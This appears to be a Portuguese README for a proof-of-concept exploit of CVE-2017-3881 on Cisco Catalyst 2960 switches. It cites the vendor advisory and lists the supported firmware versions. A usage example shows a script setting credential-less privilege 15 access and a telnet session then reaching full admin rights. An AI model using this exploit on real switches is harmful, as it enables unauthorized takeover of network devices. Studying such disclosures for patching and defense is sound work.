PoC-CVE-2017-3881

Prova de Conceito de Execução Remota de Código no Cisco Catalyst

Este repositório contém código de Prova de Conceito para explorar a vulnerabilidade de execução remota de código divulgada pela Cisco Systems em 17 de março de 2017 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp

Descrição

Artigo sobre o exploit: https://errorcybernews.com/2017/05/11/cisco-systems-merilis-update-switch/

O código de exploit RCE está disponível para o modelo de switch Cisco Catalyst 2960. Este exploit é dependente de firmware. Duas versões de firmware são suportadas:

• 12.2(55)SE1 C2960-LANBASEK9-M

• 12.2(55)SE11 C2960-LANBASEK9-M

Código de negação de serviço está disponível como um módulo ruby do metasploit. Deve funcionar para a maioria dos switches mencionados no aviso da Cisco (confirmação necessária).

Exemplo de uso

$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.

catalyst1#show priv
Current privilege level is 15

Agradecimentos ao Autor:

Artem Kondratenko https://twitter.com/artkond